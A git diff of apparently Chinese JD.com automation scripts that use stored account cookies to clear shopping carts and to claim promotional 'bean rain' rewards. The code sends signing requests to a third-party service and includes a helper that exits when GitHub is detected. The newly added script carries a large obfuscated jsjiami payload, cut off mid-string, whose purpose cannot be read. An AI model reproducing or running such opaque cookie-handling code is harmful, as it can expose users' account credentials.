msg += `清空${operNum}件商品|✅\n` + console.log(`清空${operNum}件商品|✅\n`) + }else if(clearRes.mainTitle){ + msg += `清空${operNum}件商品|${clearRes.mainTitle}\n` + console.log(`清空${operNum}件商品|${clearRes.mainTitle}\n`) + }else{ + msg += `清空${operNum}件商品|❌\n` + console.log(`清空${operNum}件商品|❌\n`) + console.log(clearData) + } + }else{ + msg += `清空${operNum}件商品|❌\n` + console.log(`清空${operNum}件商品|❌\n`) + console.log(clearData) + } + } + } + }else if(res.mainTitle){ + msg += `${res.mainTitle}\n` + console.log(res.mainTitle) + }else{ + msg += `未识别到购物车有商品\n` + console.log(data) + } + } + }else{ + console.log(data) + } + }else{ + console.log(data) + } + if(msg){ + message += `【京东账号${$.index}】${$.nickName || $.UserName}\n${msg}\n` + } + await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) + }catch(e){ + console.log(e) + } +} +function toSDS(name){ + let res = true + if($.cleancartProductsArr === false) return false + for(let t of $.cleancartProductsArr || []){ + if(t && name.indexOf(t) > -1 || t == '不清空'){ + res = false + break + } + } + return res +} +function jdApi(functionId,body) { + if(!functionId || !body) return + return new Promise(resolve => { + $.post(taskPostUrl(`/client.action?functionId=${functionId}`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data,data); + if(typeof res == 'object'){ + if(res.mainTitle) console.log(res.mainTitle) + if(res.resultCode == 0){ + resolve(res); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(''); + } + }) + }) +} + +function jdSign(fn, body) { + let sign = ''; + let flag = false; + try { + const fs = require('fs'); + if (fs.existsSync('./gua_encryption_sign.js')) { + const encryptionSign = require('./gua_encryption_sign'); + sign = encryptionSign.getSign(fn, body) + } else { + flag = true + } + sign = sign.data && sign.data.sign && sign.data.sign || '' + } catch (e) { + flag = true + } + if (!flag) + return sign + if (!jdSignUrl.match(/^https?:\/\//)) { + console.log('请填写算法url') + $.out = true + return '' + } + return new Promise((resolve) => { + let url = { + url: jdSignUrl, + body: `{"fn":"${fn}","body":${body}}`, + followRedirect: false, + headers: { + 'Accept': '*/*', + "accept-encoding": "gzip, deflate, br", + 'Content-Type': 'application/json', + 'Authorization': 'Bearer ' + jdPandaToken + }, + timeout: 30000 + } + $.post(url, async(err, resp, data) => { + try { + data = JSON.parse(data); + if (data && data.code == 200) { + lnrequesttimes = data.request_times; + console.log("连接Panda服务成功,当前Token使用次数为" + lnrequesttimes); + if (data.data.sign) + sign = data.data.sign || ''; + if (sign != '') + resolve(sign); + else + console.log("签名获取失败,可能Token使用次数上限或被封."); + } else { + console.log("签名获取失败."); + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve('') + } + }) + }) +} + + +function taskPostUrl(url, body) { + return { + url: `https://api.m.jd.com${url}`, + body: body, + headers: { + "Accept": "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': `${cookie}`, + "Host": "api.m.jd.com", + "User-Agent": "JD4iPhone/167853 (iPhone; iOS; Scale/2.00)" , + } + } +} + +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/jd_half_redrain.js b/jd_half_redrain.js new file mode 100644 index 0000000..7e0aeb9 --- /dev/null +++ b/jd_half_redrain.js @@ -0,0 +1,19 @@ +/* +半点京豆雨 + + +30 16-23/1 * * * jd_half_redrain.js + + */ +const $ = new Env('半点京豆雨'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +var _0xodW='jsjiami.com.v6',_0x5a5d=[_0xodW,'w7cjbUJN','wrozw7xywqQ=','WsK1TzDCtw==','RFfCnjjDpg==','w5Aow6RCVg==','U8K7wqHDuzA=','CsKkw681Ag==','AMKkIcOWwpo=','YQjCi8Okw4E=','w6R9F8OiwpA=','w4UZFx3Cjw==','QEDDt8KOEw==','wqZZw4rDisOZ','RMKdZj/Cvg==','w58xUm9W','wr8lNUhi','wrklw7ZgwqQ=','NsK3OFgSKsKRw6DDpsOEOAjCug4mLi7DmF3CpV7Cu8K7wpHDoMKpOcKQwrchdAzCoMKow4V5VQdYfmpQRsOAwrjDrArChcKuGg9tH2k=','w4QXRHNt','woBVDMOWBg==','w6cXw7AMVg==','wpEqAHRs','w5gcw7NEYw==','fjvCusOfw5U=','S8OjwpxawrTDpg==','ScKDew==','wr3CmMKQe8KwdsKqZsKnJ8K9w5/Dlw==','w69wDA==','wpNPAMOxwq/DlzPCvg7CgcO+FB4=','QRfCk2ti','OxzCrT9NwrPCsA==','F8OqwrdPIA==','ZQbCuVQ2YBQ=','w7dOcsKsDQ==','w75QM8OvwoU=','dsKYwrHDhA==','OcKdJ8OVwrg=','wrwWw6x8wqA=','DgNjCiU=','YzPCjsO/w6E=','w5LChcKzR1E=','wrYtBQ==','woAZw5AvbcO7wrPCksOE','w55VYQ==','wrQjD0s=','JsK2wpLDueiuleaznuWllui2me+/veivmuahhOadque/iOi2vemEvOisug==','5buq6YWW5o+G5LuV6L+Q5Y60aMKc6K+K56qv5ZOI6Yak6K+6w7c=','w4g1bHBt','w7/CisKDW1w=','OTxVCwk=','axDCgV8wfRs=','cgLCv0My','WcKWw5zCscKi','w5vCvsKJMjk=','w47CjMKYRlIdLQ==','w4d/w7PDqHw=','w54EIBnCtg==','MzPCuChp','dRbClHwB','w6/CkcKwCiw=','UjzCrkBQwqgp','LVrDisK8WQ==','w5xTZcKpG1LCkcOG','bAbDtG7Dvw==','SyrCq13Cvw==','w4Zcw7HDsFdqMsOc','w59tH8OSwpgRw6g1','GBjCixVo','wohDacKCCw==','BsK8BMOuwpY=','w6M9cnNU','wrwuDUFI','NsKKNU05','IMO/wq1FF1U=','fMKLfgDCpw==','w63CtMKlCQg=','wpxCAMO8Dw==','w43CosKbPTw=','bREY','5Lik5Lua5p+Q5YuZ5Ziy6L2E5ZmE56mY5pa95o+x','G8OtwoA=','WCrCvQ==','OiPDksK7','wpBLOcOxMQ==','McOgccKUwrQ=','TRvCnlnCog==','wpDCjMKYdMKv','RMKJw77CjMK2','w54zdXVKdyEWOFk=','DSZl','5bqY6Yay5o2b5LmD6L6m5Y60wqbCkeisrOeoluWTiemGhuittcOO','UcOkwqBcwr7DpHLCnMK/','w6ZxHcOlwqQC','w7IPw4RbQw==','w7RqZcKkIw==','A8OSwoBiNA==','aAHCl0rCrMKg','aQbCkX7Cqg==','wqMhKGJC','YsK1VhAn','wpshLUNW','KTbCriJF','RTjCqFdU','TsKdwrjDuCk=','wrhUacKSPw==','PwzDrXvCnA==','GcOEwpFlGQ==','wpotw4M=','5Luo5pW15q+z5pWF5bSi5rmi','6aKB5Y615aeM6LSK77+D5p+45Z+S5bSV6aKU6L2I','5b2T5buJ772/','w5TCi8KmQFsTKsODwpI=','asKfWA==','MBbCvg==','5Luf5LqG5p+v5Ym55Zmj6K6w6Zaq5peM5o2T5LqY56q8772l6K+Y5qGJ5p676Ie06LiD6K+X5aWL57+p57q/5oGy5YSM','IcOqwrFIFl8=','R8KawovDnAc=','5LiM6Ke/5Z2XDBJ3w4DDouaKkOWKs+WniuWJveewuOi2hOS/peaUojjDiHAKZ38=','wpRQGsO3HA==','G8KKOEUT','w6jCisKjRlk=','w5fCisORw5IZ','V8KWwrvDlDM=','wqojEF1f','XsKPWzrCuA==','wp8SC11O','wrMsBktCf8OI','woIww41X','N3jCu2jCicOfQQ==','ZTnChcO4w7E=','w5XCmsKiTEcHJg==','bMKfVjM=','QMKIYxHCpWk=','w7FGw4rDvnU=','w4g7w486cA==','cxPCpnkx','OsKVw4s+JjI=','w4JPdcKq','w6xsFcONwpUYw6QiZFrDhmM=','RsKCZBg=','I8KUFcOWwpIrfw==','CDpMFgQQ','Oi/Domw=','w7oFw45Ub0nCjQ==','IsOrwrBJ','w6PChcOe','TMKzwp3DtCfDnjLDuw==','ZBAJ','FMKHE2wkUsOrwog=','wrNSwox2SQ==','w6TCqcK6','wqByJsO0KsKSwrvDpcKD','wrpgfg==','KMOXRcKFw5rCm2I=','w4o1IBvCgF0=','OQHCsC8=','wrJWwpRhTcKAw5s=','wrACw40tasO5wpDCsA==','DsKZw5ctHcKLRg==','wpktDUVTVcOkwrMG','JsOcVcKEw4PCoGU=','wpxhZ8K9B2fDvsOUw4o=','JMKBw5k=','w6lxFcOLwr8V','ZxcTOhh9','w4UzYHFMPk1WPUxvHsOZw7vCpcO6w7saf8OlWUlIwqE=','I3zCp3fCjQ==','wrDClcKbZsK2cQ==','44CW5oyg56SF44GM6K6X5YWm6I+C5Y+u5Lmr5LiR6LWH5Y6Y5LiPMMKIcQ51KWDnmobmjoLkvoLnl5zCr3QMEsOtwrbnmZfkuZ7kuZvnr4rliIfoj47ljIo=','wrF/K8OUwo/CqE7Dji3Co8OaNGTDnsOgOSU2w5HDncKmUA==','w6/CvsKYb2omAsOswqUgF25R','BsOGwqlxMQ==','L8OlwoVPNQ==','w7IIw7c8Tw==','w44vPh/CuA==','w48IRXhc','w5nCo8KpLRs=','NsOswpNlOw==','DsKuw4zDtsOc','wq4Ow6J/wps=','A8OuZMK0wqE=','w6vCssKLHhI=','G8KKL0Up','dMK0wojDlBY=','RTHCm2vCow==','w6XCtsKyb3g=','BcKTw4Q=','wpsxw4M=','wozChsOZw4E=','Z8KnVQ7Cng==','F8OnQsKPwoE=','ZQXCnHrCvg==','XCrClEtVwrk=','DUvDkcKMUcOfwpU=','dijCpF7Clg==','wrDChMKXfcKw','IzFxAA8=','w7oxcXhO','U8ObwotEwok=','wr9pMw==','5pyO5Z6g6Yaf572bwoLDkVrDgMOm','C0LDisKdZw==','TcO4wrBRwok=','QCzCs2PCnw==','I8Kyw7EmOg==','awzCmg==','5Yya5ZWm6by9546xwpA=','woVXwppnTw==','wrh4w4c=','5Y695ZeV5a+p5oqq','wo7CiMOT','5LuL5pab6b+m54+F8KCAveS+m+WDtu+/l+aZr+eqveS5jOmFrOKasO+4hO+8l+aVouaVguWGkuachO+9kBDlib/lvJfpvqjnjqblu5rnp6vnp5Dms6bpmIrCscK3OcKiL3UbGsKaesKIEsKaw60dTn3CjjhbdjovU20=','cRPCoVkj','W8K9w40=','OC3DmA==','6b2A546A5bGu5L+pw4bCsg==','VBnCh0A+','d3DCjR3DsA==','ZjnCjHzCmQ==','wqMJw5RCwps=','w4cnw6krYw1yw5XCn8O1w7o=','FsOuwoh0Fg==','InjCv0nCgcOSUcKaRMKT','VsKURT8D','eDLCv1kN','wrxNW8KVDA==','wqB7wp7CjRI=','HMOnwp5y','wpZ+wonCjSXCssKo','GcKJw5Ah','w63CqMKr','P8OFfMKewrXCkcKGwpY=','QSPDjWnDmA==','R8O+wqQ=','w4BaJcOkwpMyw5AX','EsKxC0cW','w6rChMOP','ZMKmUiwm','w54zZmhRYwsfJQ==','XWnDtw==','w4QpcGRHSwQ=','UALCmEXChQ==','wrp2YcKi','w4Ehw6kXQSdOw4PCo8Oj','wp8Cw4U=','IcOIwqPDois=','fkPDrcKHBA==','EQFnOBI=','wprCvsKeecKT','w4Usw6s=','VMKxdhM/YDpswo5LODBMHMKpSjdTAA==','P8OowqXCt3w=','w6ETEw==','5pal5rOI5LiF5pyo5Z+Y6K2H5Y+y6Yaj572P77+s6K6j5qOa5p6N6Lyc6KGX5pS76Za4','w4oQw7ZhZw==','wrlWwo5iWMKc','KMO0wqd2EA==','w4HCr8K2eFI=','wrl2wpnCvgo=','w7Aow41BeA==','wqDCicKEYsK1','FsOsasKsw7Q=','5Lim5LiC5p235YiB5Zq+6L6k5Zmb56iq5pWX5o2b','ecKeaATCn2DCs8OB','fF7Dq8K4BQ==','a8KWwrbDkwo=','w59bcsKhPQ==','OCTDv3rCvA==','OcKDw43DnMO4','wp8xw6hVwonDuMOP','eCDCisO6w4sOwppY','A8Oja8K2w4s=','BkHDgg==','JsOHJ1zDuyvDtOW+pOWmg+OCv+S5lOS4uOi3huWOpA==','aw3CqVUv','B8KVw4AiMsKeSkI=','w5PCmMONw4QGGkfCiA==','wodtPisVLkhTdjY=','b8KEwo7DnwXDtQk=','BmzDlMK4Rg==','wq1mwpZGYw==','GsKtw48kMQ==','ahDCmg==','G8OgTsK/','44Cy5o2A56eo44CkwrPDrHTCkcKvbuW2oOWltuaUqQ==','5Lim5LiC6LWc5Y2X','fyfCjcO0w70=','aMKewqHDmyzDvQrDmQ==','BDnDvm3CisOYeMO6','w7ror6bphLbmlbjnmL/lvoTojbfljot2w4XDkm4+E8Obw4EIw4QkwpDCu8OiNcOMGMO5WzIZMCo=','w6TCjcOJw6M5','BcK7w7PDi8Opwoc=','chsRKjNgw77DmMK9Yg==','w5xba8Kn','ZcKYwq3DmwvDueW2leWmjeaWuQ3CqcKv','IMOyRsKowr7CssK+wrQ=','5Lu+5LqC6Lel5Y+W','HMKTw4w/HCHCsQ8=','Q+isl+mFpOaXveeYqeW8leiNq+WOvMOEUzHDliTDgg==','wrtdMsOVwro=','wpcMI35Q','KMKZw5rDscOh','wqpdwqHCujA=','w7bCtsKASnE=','JAJPFg0=','PAbDpcKqbw==','LjjCvzRZ','PsOxwqQ=','5b6E5buT776yw41qFlnCisOIwpPCmuWlj+WOpOaBp+WQiO+9nOWlkeWSnuS7rOS9sOaSmOiAjeiAp+i9pcKLccKrVMK+Ri9JwrsWKcO+I2IOw65PD8Kxwoo/wpTClnfDhT3DuA==','QDnCh2Y+','wrNhbw==','5Luc5pas6b2w54ya8L6BneS/puWBuu+9p+aZkeeoh+S5jemGrOKYn++4su+9qeaWgOaViOWEleacj++9l0zlipjlvL/pvannj57lubHnp43npofmsrfpmLzDp8K2IA3CjB3DjyJbwrnDo3XDtcOKw7LCmGkuK8OfwrDCjcKowr3ChQ==','G8OcwrHCin8=','DQtzKRY=','GGTDosKaXw==','w419E8OHwrQ=','wp8xw6pVworDtA==','w4FfaMKmG1zCiMOKw5wh','MMKiIU0=','bxDCqg==','wr1nOcO4','PcKeAsO/woE6','Aih2Ggg=','VGjDpg==','DyhvHA==','wqTDpuWnrOi1nXvCsOWMheWbgsO3wr8=','w4suemBTaBs=','NsOxwq1E','wplVwpLCoDU=','b8KZwqbDlRrDkwE=','B8OowovCtQ==','dMKSwrLDnAPDvwI=','RinCtk1F','wq1rfsKzHHHDqA==','w43CkMK9Rw==','wp8Iw4whd8O0','ZhLCjnBF','J8KdJMO+wqs=','UjMMIyk=','dBbCn1zCu8Km','A8OvwpHCsA==','wrJlw4/Dq8Ogw4EZwpXCiz/CpT0=','Pi3DlsKw','RzzCqkhQwr8t','wrN6wqFpXg==','QXjCmBDDoQ==','w4bCjMKXYXE=','M8OYT8KEw43CuQ==','w6XCnMKnUE0=','w6V8EMOFwrUE','Ri7Djm/Dqg==','w6B7T8KMCn3Cs8O3w7MeKMOcwpJfNQfDqCLCgg==','ScKIRwfCtw==','w5lNa8KbDA==','VlLCghfDuw==','JzTDvsKYTg==','GcOAwrXCvFM=','wr9ewoF2Tg==','aiLDlVbDvg==','TcKZUC0W','F8O2SMKvwok=','DyZjETIQNncow4TDglzCnMOWQBlHCA==','RwQIAhg=','McKoHFgb','FMKJw7zDtcO3','MQBtLww=','w6spe1V7','cwLCp1rCig==','wpV+LMOhwpE=','AsOgc8K2wrI=','P8OvwpHCnWY=','N8OswojCjFk=','dVPCnhXDvQ==','SMKRUD8u','AVvDkMKdWQ==','VizCu1sb','w75nw7XDoXc=','esKpw47Ch8KK','XMKxajY4','wqlhZsK6OQ==','f13DlMKiFA==','BSvCjAhC','YA/ClFsN','b8KfeBXCiw==','AcO0worCl0I=','YwDCuVkhfQHCnMOvZg==','wrNyw5Q=','YMKPQw/CnA==','w70Aw6hLbA==','wrtGwrXCrDA=','NzjCnQFE','YCsaAho=','UhDClmHChA==','JRjDlmrCoA==','DzjCowti','w5JGFsORwrg=','JcOQwrVvAg==','cC3Ci2HCtQ==','fn/DiMKdGA==','wqMaw4w+UA==','wrhww5PDi8O3','QMKKfjvChQ==','wopCb8K6NA==','wpLChsOGw5fClg==','YjHCvXN/','PSXDvA==','S3PDs8KCOzpHwqMg','WTbCvQ==','wofCvsKEYOivguawtuWlsui2gO+/p+iuiOaiheafmee9gei0mOmGi+istg==','D8Kww4/Dr8Om','wqAGN2xL','w4zCssO7w5oH','wrp1GsOyIMKQ','JMOXVw==','fsKsRDjCjk/CkcOwAcOpwqF7wqMcw6bChSglwpE=','w402w5IodA==','NMKfEw==','ZMKdw7TCjMK4w4HDtSMtw5/ChMKpwrXCkgdYRsKISQ==','wqJQwqlMdA==','EMOnwpNlIHjDpA==','wqMOw7YrTw==','OTbDsMKIRg==','w5p9LsONwpo=','PsKDw6AECg==','WAjCj0YD','dsKRTS4F','wqIEC0hp','H8K9w5/Dp8OiwobDjw==','6aGf5Y+d5omP5Yi777+w6Iyl5b+2','w7vCssKvETTDt8OzRMK0','w55VcsK2MEHChcOxw58rBMOvwqU=','6aK+5Y+R5oqR5Ym0772Z6I+q5b65w6U=','w6rChMOcw4ItCVPCv8KPw5rDjV4/','aDPCqFEkWBzClsOS','NGjCqmrCnMOVUMKX','5LqO5LqM6Le05Y+C','wovCicOQw4HCiw==','GcOrwoRqD23DqMOh','YCrCv1Z/wr0lw6w=','wrjporzlj5Dmi5Lli4rvvL/ojYvlvLTCmg==','GcOuV8KuwpXCocKqwoMkLsKLw7HCvg==','ay4aLw5Dw6PDgsKv','OMKVw4gjJinCqBM=','w7U5BCXChg==','wrxdwoRgVA==','w5gEw7QYZA==','VGHClTzDvGnDkQ==','McKmw4ArAQ==','VDPChnM4','wqU9w6kFbA==','eibCjg==','5Lq95pWn5q+G5pWx5baz5rut','6aOx5Y2U5aeW6LSk772N5pyg5Z6/5bW26aKa6Ly/','HcOzwoHCs0VuKcOZ','woBAwoV3YsKVw5cv','w5Bww6LDrWo=','M8O/aMKDw5U=','wpAVw5NCwos=','WsKzw5o=','5b2W5bm6776l','w4vCkMKz','bgzCqg==','5Lie5Lim5pyL5Ymj5Zi96K6M6ZSS5peT5o+U5Lmi56iL776P6Kym5qOQ5p6e6Ia56LiR6K+T5aeJ57+L57ux5oO35Yev','TsO/wrVwwqLDsQ==','w4/Ck8KxOQ0=','w5fCksOew5kj','woIew5InRA==','HMKICMOwwqM=','S3vCkA==','wpgjw4lf','IT8vB+iuiuaxjeWmu+i2lO+/l+ivrOagh+aerue/sei1n+mHhuivjg==','CsKhw6UXKw==','UxwdKC0=','bBHCj0Iu','44CG5o6Z56eT44KA6K2y5YSn6I2A5Y+r5LuH5Li56LWb5Y695LmgfFIKw5LDhMO9YOebveaPo+S+queWl8K+OsKKw7xMwpTnmZDkubHkuornrLbliYnojY/ljrs=','NsK3OFgSKsKRw6DDs8OQdwzDsE1rKyfDmUvCuVbDpg==','wph8K8Onwps=','YBrCnl14','wr5uKw==','TcKjwrjDoSA=','wrJmwrNvfw==','ZissJC4=','w40xw7o=','w6bCp8KwHQ==','bnHCnC/Dgw==','fMKWwonDoi8=','VsKMRiTCnA==','w6XCk8Ofw5gZ','NmnCqnDCncOPZ8KBRcKF','w4wtw7o=','5bqv6YSQ5o6Z5LuP6Ly85Yy0wpZX6K6T56qU5ZOT6YS76KyjwqM=','wqp/LcONwpLDtQjChzY=','ZSvCsml0','w6Jhw5fDkEs=','w692w4fDkVA=','cR8NPRg=','wpx+wpzCjTbCow==','T03Dm8KBPA==','fj3CncOhw7ZVw5gSAUFQOBJ+EFTCi8KYwq1fMHLDp8KPw4F7wo7DrGTCkMO6wrDDrzkawpQCw4l8WsO1w7g2wrfDhcK5w5luISDDg8O1worCs8K8wp7DmsObwqs7Cg==','fMKYw6LCisKmw4PDvCg2w4vCnMKpwqPCjwU=','woUnw6YOTQ==','JT9AAwQ=','w7/CkcK7NS4=','NQrClzRIwqI=','wrZoIg==','w4c4KxvClFMqwos8XAAYa0IO','ABhwIw0=','MCLDk17CrA==','BcKHw7bDrsOH','w5cVw7szQw==','HsOxwqluJWk=','wrwGw7tywq/DncOnSsKWUcOSNsO3wp4e','w41bw6Q=','w4zCr8O3w74JN2zCssK4w7vDuW0ew6nCog==','UcK5w4nCpsKGw7vDmw==','wobCpcKcesKC','YcKVSzkBWhQ=','G1fDtsK8UQ==','w6cDS0l+SCQmDm5Hb8OhwofCgw==','w7sPw4h1b17ChA==','cAcsGhw=','w6/Co8KpHDvDpMO7','XcKUXiLCsA==','w5o+w5E=','FMOgwovCqCcvIMOZW8OOwqcdSsKlfnzDmg==','wqVmJcK1AA==','B8Ktw5jDlMKgwoPDhizDiwo=','w4bCj8KkRVwXIsORwoIQKxNow5oxwpTCmAkhCsOeAWPCtcKYF8OnwqdpNC99wpw=','ADlrVw1bOEFnw47Dg30=','D1nDv23CuMOUS8KARMOPbTRbw6Iuw60PewvChBTDjsOBGc